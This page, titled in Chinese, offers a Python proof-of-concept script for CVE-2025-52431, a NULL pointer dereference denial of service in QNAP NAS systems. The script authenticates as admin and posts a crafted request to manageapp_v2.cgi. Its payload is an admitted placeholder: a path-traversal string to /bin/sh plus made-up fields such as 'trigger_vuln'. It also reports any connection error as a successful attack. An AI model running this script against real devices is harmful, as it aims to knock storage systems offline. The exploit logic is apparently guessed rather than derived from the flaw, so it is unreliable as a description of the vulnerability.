CVE-2025-52431: QNAP NAS系统NULL指针解引用拒绝服务漏洞

# CVE-2025-52431 PoC - QNAP NULL Pointer Dereference DoS # Requires administrator credentials import requests import sys TARGET = "https://192.168.1.100" # Replace with target IP USERNAME = "admin" # Replace with valid admin username PASSWORD = "password" # Replace with valid admin password def exploit_null_pointer_deref(): """ This PoC demonstrates NULL pointer dereference trigger. Note: Actual exploit requires valid admin session and specific payload. """ session = requests.Session() # Step 1: Authenticate with admin credentials login_url = f"{TARGET}/cgi-bin/authLogin.cgi" login_data = { "username": USERNAME, "password": PASSWORD } try: response = session.post(login_url, data=login_data, verify=False, timeout=30) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Send crafted request to trigger NULL pointer dereference # The actual payload depends on the vulnerable code path exploit_url = f"{TARGET}/cgi-bin/manageapp_v2.cgi" headers = { "Content-Type": "application/x-www-form-urlencoded" } # Placeholder payload - actual exploitation requires reverse engineering exploit_data = { "app_id": "../../../../../../../bin/sh", # Path traversal attempt "action": "restart", "target": "NULL", # Triggers NULL pointer "function": "trigger_vuln" } print("[*] Sending exploit payload...") response = session.post(exploit_url, data=exploit_data, headers=headers, verify=False, timeout=30) # Step 3: Verify DoS condition if response.status_code == 500 or response.status_code == 0: print("[+] DoS condition triggered - NULL pointer dereference successful") return True else: print("[-] Exploit may have failed - check target version") return False except requests.exceptions.RequestException as e: print(f"[*] Connection test or exploit triggered: {e}") return True # Connection failure may indicate successful DoS if __name__ == "__main__": print("CVE-2025-52431 NULL Pointer Dereference PoC") print("Note: This is a proof-of-concept and may require modification") exploit_null_pointer_deref()